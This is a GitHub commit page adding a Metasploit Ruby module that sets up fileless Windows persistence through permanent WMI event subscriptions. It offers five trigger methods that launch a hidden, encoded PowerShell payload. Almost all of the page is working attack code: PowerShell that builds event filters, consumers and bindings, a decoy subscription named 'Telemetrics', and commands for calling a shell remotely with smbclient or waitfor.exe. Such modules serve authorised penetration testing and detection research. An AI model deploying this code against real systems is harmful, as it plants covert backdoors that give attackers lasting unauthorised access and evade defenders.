Skip to content

Commit 2ee6df6

Browse files
David MaloneyDavid Maloney
authored andcommitted
Land rapid7#8514, wmi persistence module
2 parents 75c571d + f4c739c commit 2ee6df6

File tree

1 file changed

+234
-0
lines changed

1 file changed

+234
-0
lines changed
Lines changed: 234 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,234 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core/exploit/powershell'
7+
require 'msf/core/post/windows/powershell'
8+
require 'msf/core/post/file'
9+
10+
class MetasploitModule < Msf::Exploit::Local
11+
12+
include Msf::Post::Windows::Powershell
13+
include Msf::Exploit::Powershell
14+
include Post::Windows::Priv
15+
include Msf::Post::File
16+
17+
def initialize(info = {})
18+
super(update_info(info,
19+
'Name' => 'WMI Event Subscription Persistence',
20+
'Description' => %q{
21+
This module will create a permanent WMI event subscription to achieve file-less persistence using one
22+
of five methods. The EVENT method will create an event filter that will query the event log for an EVENT_ID_TRIGGER
23+
(default: failed logon request id 4625) that also contains a specified USERNAME_TRIGGER (note: failed logon auditing
24+
must be enabled on the target for this method to work, this can be enabled using "auditpol.exe /set /subcategory:Logon
25+
/failure:Enable"). When these criteria are met a command line event consumer will trigger an encoded powershell payload.
26+
The INTERVAL method will create an event filter that triggers the payload after the specified CALLBACK_INTERVAL. The LOGON
27+
method will create an event filter that will trigger the payload after the system has an uptime of 4 minutes. The PROCESS
28+
method will create an event filter that triggers the payload when the specified process is started. The WAITFOR method
29+
creates an event filter that utilises the microsoft binary waitfor.exe to wait for a signal specified by WAITFOR_TRIGGER
30+
before executing the payload. The signal can be sent from a windows host on a LAN utilising the waitfor.exe command
31+
(note: requires target to have port 445 open). Additionally a custom command can be specified to run once the trigger is
32+
activated using the advanced option CUSTOM_PS_COMMAND. This module requires administrator level privileges as well as a
33+
high integrity process. It is also recommended not to use stageless payloads due to powershell script length limitations.
34+
},
35+
'Author' => ['Nick Tyrer <@NickTyrer>'],
36+
'License' => MSF_LICENSE,
37+
'Privileged' => true,
38+
'Platform' => 'win',
39+
'SessionTypes' => ['meterpreter'],
40+
'Targets' => [['Windows', {}]],
41+
'DisclosureDate' => 'Jun 6 2017',
42+
'DefaultTarget' => 0,
43+
'DefaultOptions' =>
44+
{
45+
'DisablePayloadHandler' => 'true'
46+
},
47+
'References' => [
48+
['URL', 'https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf'],
49+
['URL', 'https://learn-powershell.net/2013/08/14/powershell-and-events-permanent-wmi-event-subscriptions/']
50+
]
51+
))
52+
53+
register_options([
54+
OptEnum.new('PERSISTENCE_METHOD',
55+
[true, 'Method to trigger the payload.', 'EVENT', ['EVENT','INTERVAL','LOGON','PROCESS', 'WAITFOR']]),
56+
OptInt.new('EVENT_ID_TRIGGER',
57+
[true, 'Event ID to trigger the payload. (Default: 4625)', 4625]),
58+
OptString.new('USERNAME_TRIGGER',
59+
[true, 'The username to trigger the payload. (Default: BOB)', 'BOB' ]),
60+
OptString.new('PROCESS_TRIGGER',
61+
[true, 'The process name to trigger the payload. (Default: CALC.EXE)', 'CALC.EXE' ]),
62+
OptString.new('WAITFOR_TRIGGER',
63+
[true, 'The word to trigger the payload. (Default: CALL)', 'CALL' ]),
64+
OptInt.new('CALLBACK_INTERVAL',
65+
[true, 'Time between callbacks (In milliseconds). (Default: 1800000).', 1800000 ]),
66+
OptString.new('CLASSNAME',
67+
[true, 'WMI event class name. (Default: UPDATER)', 'UPDATER' ])
68+
])
69+
70+
register_advanced_options(
71+
[
72+
OptString.new('CUSTOM_PS_COMMAND',
73+
[false, 'Custom powershell command to run once the trigger is activated. (Note: some commands will need to be encolsed in quotes)', false, ]),
74+
])
75+
end
76+
77+
78+
def exploit
79+
unless have_powershell?
80+
print_error("This module requires powershell to run")
81+
return
82+
end
83+
84+
unless is_admin?
85+
print_error("This module requires admin privs to run")
86+
return
87+
end
88+
89+
unless is_high_integrity?
90+
print_error("This module requires UAC to be bypassed first")
91+
return
92+
end
93+
94+
if is_system?
95+
print_error("This module cannot run as System")
96+
return
97+
end
98+
99+
host = session.session_host
100+
print_status('Installing Persistence...')
101+
102+
case datastore['PERSISTENCE_METHOD']
103+
when 'LOGON'
104+
psh_exec(subscription_logon)
105+
print_good "Persistence installed!"
106+
remove_persistence
107+
when 'INTERVAL'
108+
psh_exec(subscription_interval)
109+
print_good "Persistence installed!"
110+
remove_persistence
111+
when 'EVENT'
112+
psh_exec(subscription_event)
113+
print_good "Persistence installed! Call a shell using \"smbclient \\\\\\\\#{host}\\\\C$ -U "+datastore['USERNAME_TRIGGER']+" <arbitrary password>\""
114+
remove_persistence
115+
when 'PROCESS'
116+
psh_exec(subscription_process)
117+
print_good "Persistence installed!"
118+
remove_persistence
119+
when 'WAITFOR'
120+
psh_exec(subscription_waitfor)
121+
print_good "Persistence installed! Call a shell using \"waitfor.exe /S #{host} /SI "+datastore['WAITFOR_TRIGGER']+"\""
122+
remove_persistence
123+
end
124+
end
125+
126+
127+
def build_payload
128+
if datastore['CUSTOM_PS_COMMAND']
129+
script_in = datastore['CUSTOM_PS_COMMAND']
130+
compressed_script = compress_script(script_in, eof = nil)
131+
encoded_script = encode_script(compressed_script, eof = nil)
132+
generate_psh_command_line(noprofile: true, windowstyle: 'hidden', encodedcommand: encoded_script)
133+
else
134+
cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, remove_comspec: true)
135+
end
136+
end
137+
138+
139+
def subscription_logon
140+
command = build_payload
141+
class_name = datastore['CLASSNAME']
142+
<<-HEREDOC
143+
$filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"; QueryLanguage = 'WQL'}
144+
$consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"}
145+
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}
146+
HEREDOC
147+
end
148+
149+
150+
def subscription_interval
151+
command = build_payload
152+
class_name = datastore['CLASSNAME']
153+
callback_interval = datastore['CALLBACK_INTERVAL']
154+
<<-HEREDOC
155+
$timer = Set-WmiInstance -Namespace root/cimv2 -Class __IntervalTimerInstruction -Arguments @{ IntervalBetweenEvents = ([UInt32] #{callback_interval}); SkipIfPassed = $false; TimerID = \"Trigger\"}
156+
$filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"Select * FROM __TimerEvent WHERE TimerID = 'trigger'\"; QueryLanguage = 'WQL'}
157+
$consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"}
158+
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}
159+
HEREDOC
160+
end
161+
162+
163+
def subscription_event
164+
command = build_payload
165+
event_id = datastore['EVENT_ID_TRIGGER']
166+
username = datastore['USERNAME_TRIGGER']
167+
class_name = datastore['CLASSNAME']
168+
<<-HEREDOC
169+
$filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_NTLogEvent' AND Targetinstance.EventCode = '#{event_id}' And Targetinstance.Message Like '%#{username}%'\"; QueryLanguage = 'WQL'}
170+
$consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"}
171+
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}
172+
HEREDOC
173+
end
174+
175+
176+
def subscription_process
177+
command = build_payload
178+
class_name = datastore['CLASSNAME']
179+
process_name = datastore['PROCESS_TRIGGER']
180+
<<-HEREDOC
181+
$filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName= '#{process_name}'\"; QueryLanguage = 'WQL'}
182+
$consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"}
183+
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}
184+
HEREDOC
185+
end
186+
187+
188+
def subscription_waitfor
189+
command = build_payload
190+
word = datastore['WAITFOR_TRIGGER']
191+
class_name = datastore['CLASSNAME']
192+
<<-HEREDOC
193+
$filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM __InstanceDeletionEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND Targetinstance.Name = 'waitfor.exe'\"; QueryLanguage = 'WQL'}
194+
$consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"cmd.exe /C waitfor.exe #{word} && #{command} && taskkill /F /IM cmd.exe\"}
195+
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}
196+
$filter1 = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"Telemetrics\"; Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"; QueryLanguage = 'WQL'}
197+
$consumer1 = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"Telemetrics\"; CommandLineTemplate = \"waitfor.exe #{word}\"}
198+
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter1; Consumer = $Consumer1}
199+
Start-Process -FilePath waitfor.exe #{word} -NoNewWindow
200+
HEREDOC
201+
end
202+
203+
204+
def log_file
205+
host = session.session_host
206+
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
207+
logs = ::File.join(Msf::Config.log_directory, 'wmi_persistence',
208+
Rex::FileUtils.clean_path(host + filenameinfo))
209+
::FileUtils.mkdir_p(logs)
210+
logfile = ::File.join(logs, Rex::FileUtils.clean_path(host + filenameinfo) + '.rc')
211+
end
212+
213+
214+
def remove_persistence
215+
name_class = datastore['CLASSNAME']
216+
clean_rc = log_file
217+
if datastore['PERSISTENCE_METHOD'] == "WAITFOR"
218+
clean_up_rc = ""
219+
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"Telemetrics\\\" DELETE\"\n"
220+
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"Telemetrics\\\" DELETE\"\n"
221+
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"Telemetrics\\\"' DELETE\"\n"
222+
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
223+
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
224+
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\""
225+
else
226+
clean_up_rc = ""
227+
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
228+
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
229+
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\""
230+
end
231+
file_local_write(clean_rc, clean_up_rc)
232+
print_status("Clean up Meterpreter RC file: #{clean_rc}")
233+
end
234+
end

0 commit comments

Comments
 (0)